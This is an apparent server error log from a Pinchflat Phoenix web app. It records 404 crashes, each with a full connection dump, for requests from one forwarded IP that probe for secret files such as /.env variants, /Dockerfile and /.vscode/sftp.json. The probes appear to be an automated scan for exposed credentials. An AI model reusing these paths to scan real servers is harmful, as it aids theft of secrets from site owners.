"upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_1", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50614}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwa (truncated) 15:23:50.725 [info] GET /dist/.env 15:23:50.725 [debug] QUERY OK source="settings" db=0.0ms idle=93.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.725 [debug] QUERY OK source="settings" db=0.0ms idle=87.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.726 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.726 [error] #PID<0.9992.0> running PinchflatWeb.Endpoint (connection #PID<0.9991.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /dist/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9991.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50630}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9992.0>, params: %{}, path_info: ["dist", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/dist/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH7Gf5d1HZvgAAe8C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9991.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50630}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9991.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50630}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9992.0>, params: %{}, path_info: ["dist", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user (truncated) 15:23:50.745 [info] GET /Dockerfile 15:23:50.745 [debug] QUERY OK source="settings" db=0.0ms idle=106.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.745 [debug] QUERY OK source="settings" db=0.0ms idle=106.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.745 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.745 [error] #PID<0.9994.0> running PinchflatWeb.Endpoint (connection #PID<0.9993.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /Dockerfile ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Dockerfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50646}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9994.0>, params: %{}, path_info: ["Dockerfile"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/Dockerfile", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH7LM-rc_-N4AAe9C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50646}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /Dockerfile (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Dockerfile", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50646}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forward (truncated) 15:23:50.797 [info] GET /.vscode/sftp.json 15:23:50.798 [debug] QUERY OK source="settings" db=0.0ms idle=159.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.798 [debug] QUERY OK source="settings" db=0.0ms idle=72.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.798 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.798 [error] #PID<0.9996.0> running PinchflatWeb.Endpoint (connection #PID<0.9995.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.vscode/sftp.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9995.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50648}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9996.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.vscode/sftp.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH7XvjccoNygAA5OB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9995.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50648}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vscode/sftp (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9995.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vscode/sftp.json", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50648}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9996.0>, params: %{}, path_info: [".vscode", "sftp"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q= (truncated) 15:23:50.964 [info] GET /.env.dev.local 15:23:50.964 [debug] QUERY OK source="settings" db=0.1ms idle=238.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.964 [debug] QUERY OK source="settings" db=0.0ms idle=219.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:50.964 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:50.964 [error] #PID<0.9998.0> running PinchflatWeb.Endpoint (connection #PID<0.9997.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.dev.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9997.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50650}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9998.0>, params: %{}, path_info: [".env.dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cache-control", "max-age=0"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.dev.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDH7_ZChIB94EAAe-C"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: 